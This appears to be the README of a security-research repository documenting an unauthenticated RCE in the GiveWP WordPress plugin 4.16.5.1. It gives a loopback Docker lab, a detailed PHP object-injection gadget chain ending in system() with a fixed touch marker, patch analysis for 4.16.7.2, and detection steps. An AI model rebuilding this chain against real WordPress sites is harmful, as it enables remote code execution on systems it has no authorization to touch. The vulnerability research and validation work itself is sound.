
Authorized Docker lab and clean PoC for validating CVE-2026-82222 RCE in GiveWP 4.16.5.1 and the 4.16.7.2 fix.
Security-research material for reproducing and validating CVE-2026-82222 in an isolated Docker lab.
For Direct RCE Poc and url scan use CVE-2026-8222-RCE.py
Status: proven in the supplied lab
GiveWP 4.16.5.1 permits an initially unauthenticated attacker to persist a PHP object graph, revive it through GiveWP session handling, and execute a fixed marker command as the WordPress web-server user.
Tested positive result:
GiveWP: 4.16.5.1
WordPress: 6.6.2
PHP: 8.1.30
Result: /tmp/CVE-2026-82222-RCE-GETBAG created by www-data
The end-to-end result was also reproduced against pristine, non-instrumented GiveWP 4.16.5.1 source. GiveWP 4.16.7.2 blocked the HTTP carrier in the tested configuration and independently blocked the terminal gadget during a direct control.
This demonstrates command execution inside the WordPress container. It does not demonstrate root access, container escape, lateral movement, or host compromise.
Use this repository only on systems you own or are explicitly authorized to test.
The supplied PoC is intentionally constrained:
touch /tmp/CVE-2026-82222-RCE-GETBAG.--allow-authorized-non-loopback flag.127.0.0.1.The HTTP test creates a disposable donor user, metadata, and GiveWP session rows. Use the included reset command after testing.
Requirements:
curlunzipsha256sum or shasumdownloads.wordpress.org for official plugin archivesRun the complete vulnerable/patched matrix:
./lab verify
The command:
ProviderForwarder terminal also rejects the string callable.The patched lab remains running at the end. Remove it with:
./lab reset
To use another loopback port:
LAB_PORT=8099 ./lab verify
The vulnerable control must end with concrete terminal evidence:
[PASS] E1: unauthenticated registration issued auth cookie
[PASS] E3: serialized graph persisted in own last_name
[PASS] E4: donation-form nonce obtained
[PASS] E5: session write reached expected post-sink HTTP status=500
[PASS] E6: session read/destruction trigger completed
marker present and owned by the WordPress web user
RESULT: VULNERABLE CONTROL CONFIRMED
The patched control must show:
[PASS] P1: patched registration gate blocked auth cookie
DIRECT_MARKER=absent
HTTP marker absent and direct terminal gadget blocked
RESULT: PATCHED CONTROL CONFIRMED
An HTTP 500, stored payload, exception, or detector hit without the marker is not accepted as RCE proof.
Start and test the vulnerable release:
./lab start vulnerable
./lab test
Start and test the patched release:
./lab start patched
./lab test
Inspect current state:
./lab status
Remove containers, volumes, test users, sessions, and marker state:
./lab reset
Cached plugin ZIPs and extracted assets are preserved for faster reruns. Remove those exact generated assets as well with:
./lab reset --purge-assets
| Version | Assessment |
|---|---|
| GiveWP 4.16.5.1 | RCE reproduced end to end |
| GiveWP 4.16.6–4.16.7.1 | Reported affected; not individually reproduced here |
| GiveWP 4.16.7.2 | Patched negative controls reproduced |
| Later releases | Not individually tested; update to the latest supported release |
The public advisory identifies releases through 4.16.7.1 as affected. This repository directly proves only the two versions in its positive/negative test matrix.
References:
The exploit combines several behaviors:
Give\Helpers\Utils::maybeSafeUnserialize() uses
allowed_classes => false, producing __PHP_Incomplete_Class, but a later
serialization preserves the original class names and properties.maybe_unserialize() revives the shipped classes.system().Four literal namespace backslashes are required in the HTTP carrier. The two
effective stripping passes reduce them 4 -> 2 -> 1. The payload is NUL-free,
and PHP 8.1.30 was verified to hydrate the plain serialized name for the private
Session::$attributeName property.
TCPDF::__destruct()
-> TCPDF::_destroy(true)
-> foreach ($this->imagekeys as $file)
-> Symfony Session::getIterator()
-> Session::getAttributeBag()
-> Session::getBag($this->attributeName)
-> $this->storage->getBag($attributeName)
-> DonationFactory->__call('getBag', [$attributeName])
-> call_user_func_array('system', [$attributeName])
-> system('touch /tmp/CVE-2026-82222-RCE-GETBAG')
Attacker-controlled graph:
TCPDF
├── file_id = unique request identifier
└── imagekeys = Give\Vendors\Symfony\Component\HttpFoundation\Session\Session
├── attributeName = fixed marker command
└── storage = Give\TestData\Factories\DonationFactory
└── loadedProviders["getBag"] = "system"
The critical hidden transition is PHP's implicit IteratorAggregate
dispatch. TCPDF::$imagekeys is untyped, so assigning a Symfony Session
causes foreach to invoke Session::getIterator().
The marker command executes before Symfony enforces the
getAttributeBag(): AttributeBagInterface return type. The resulting
TypeError and HTTP 500 are post-sink effects.
The rejected candidate graph used:
TCPDF::$objcopy
-> DonationFactory::$loadedProviders['__destruct'] = 'system'
That graph cannot work. TCPDF::_destroy() only unsets objcopy; PHP does not
route automatic destruction through __call('__destruct', ...).
The missing operation was:
foreach ($this->imagekeys as $file) {
The earlier review followed destructors and explicit method calls but did not
recursively inspect the implicit object protocol triggered by foreach.
Symfony Session supplies the missing bridge:
foreach invokes getIterator().getIterator() reaches getBag($attributeName).storage is a DonationFactory.getBag invokes ProviderForwarder::__call().loadedProviders['getBag'] = 'system' selects the callable.attributeName supplies the command argument.Relevant GiveWP 4.16.5.1 locations:
| Component | Location |
|---|---|
| Guarded initial unserialize | src/Helpers/Utils.php:203-217,237-241 |
| Donation carrier | includes/process-donation.php:157 |
| GiveWP session persistence | includes/class-give-session.php:364-368,489-508 |
| Unrestricted session revival | includes/class-give-session.php:347-350 |
| TCPDF destructor | vendor/tecnickcom/tcpdf/tcpdf.php:2050-2052 |
| Attacker-controlled iteration | vendor/tecnickcom/tcpdf/tcpdf.php:7885-7907 |
| Symfony iterator bridge | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:134-136 |
Symfony getBag bridge | vendor/vendor-prefixed/symfony/http-foundation/Session/Session.php:259-283 |
| Terminal callable | src/TestData/Framework/ProviderForwarder.php:19-23 |
| GiveWP Composer autoloaders | give.php:624-625 |
Official release hashes:
give.4.16.5.1.zip
95fc6709b6ed284074bf09be096e28d6299fd4a103848c2b1c3bf8a5772cf98c
give.4.16.7.2.zip
c5bc98da2abb748c64d31a43679ff5f223092dfff6d214132a55dcbc948e91ae
The lab re-extracts each plugin from its verified ZIP before every fresh start, copies it into WordPress without modification, and byte-compares the deployed complete plugin file tree with the verified source. The three official Docker base images are also pinned to their multi-architecture manifest digests.
GiveWP 4.16.7.2 adds independent defenses across registration, serialized input handling, session revival, data migration, and gadget hardening.
The terminal hardening requires the resolved object to implement the expected provider contract:
if ( ! $provider instanceof Contract\Provider ) {
return null;
}
The attacker-controlled string system is therefore rejected. The direct
control in this repository bypasses the HTTP carrier and verifies that this
terminal defense alone leaves its marker absent.
A negative PoC result by itself does not prove a site is patched. A WAF, different routing, disabled registration, missing legacy form, session configuration, or disabled PHP command functions can all prevent the marker on a still-vulnerable codebase.
Preferred validation procedure:
Version check:
wp plugin get give --fields=name,status,version
Update GiveWP to the latest supported version. After updating:
TCPDF, Symfony
Session, or loadedProviders graphs.If an internet-exposed vulnerable installation contains object-injection artifacts, treat it as a potential compromise rather than only updating the plugin.
.
├── .github/workflows/validate.yml
├── .gitignore
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── poc
│ ├── direct-pop-control.php
│ └── poc.py
└── scripts
└── fetch-assets.sh
Not committed:
official plugin ZIPs
extracted GiveWP source
instrumented target source
cookies or session data
runtime evidence/logs
internal target addresses or reusable credentials
obsolete objcopy payloads
historical validation output
| Claim | Status |
|---|---|
| Persistent PHP object-injection carrier | Proven |
| Revival of shipped classes | Proven |
| Complete stock POP chain | Proven |
| Fixed marker executed as the web user | Proven |
| Reproduction against pristine 4.16.5.1 | Proven |
| Negative controls against pristine 4.16.7.2 | Proven |
| Every intermediate affected release tested | Not tested |
| Root privilege | Not claimed |
| Container escape | Not tested |
| Host compromise | Not tested |
The proof standard is deliberately strict: only an observable command marker through the unmodified stock chain is labeled RCE. HTTP acceptance, serialization, exceptions, and detector hits are intermediate evidence.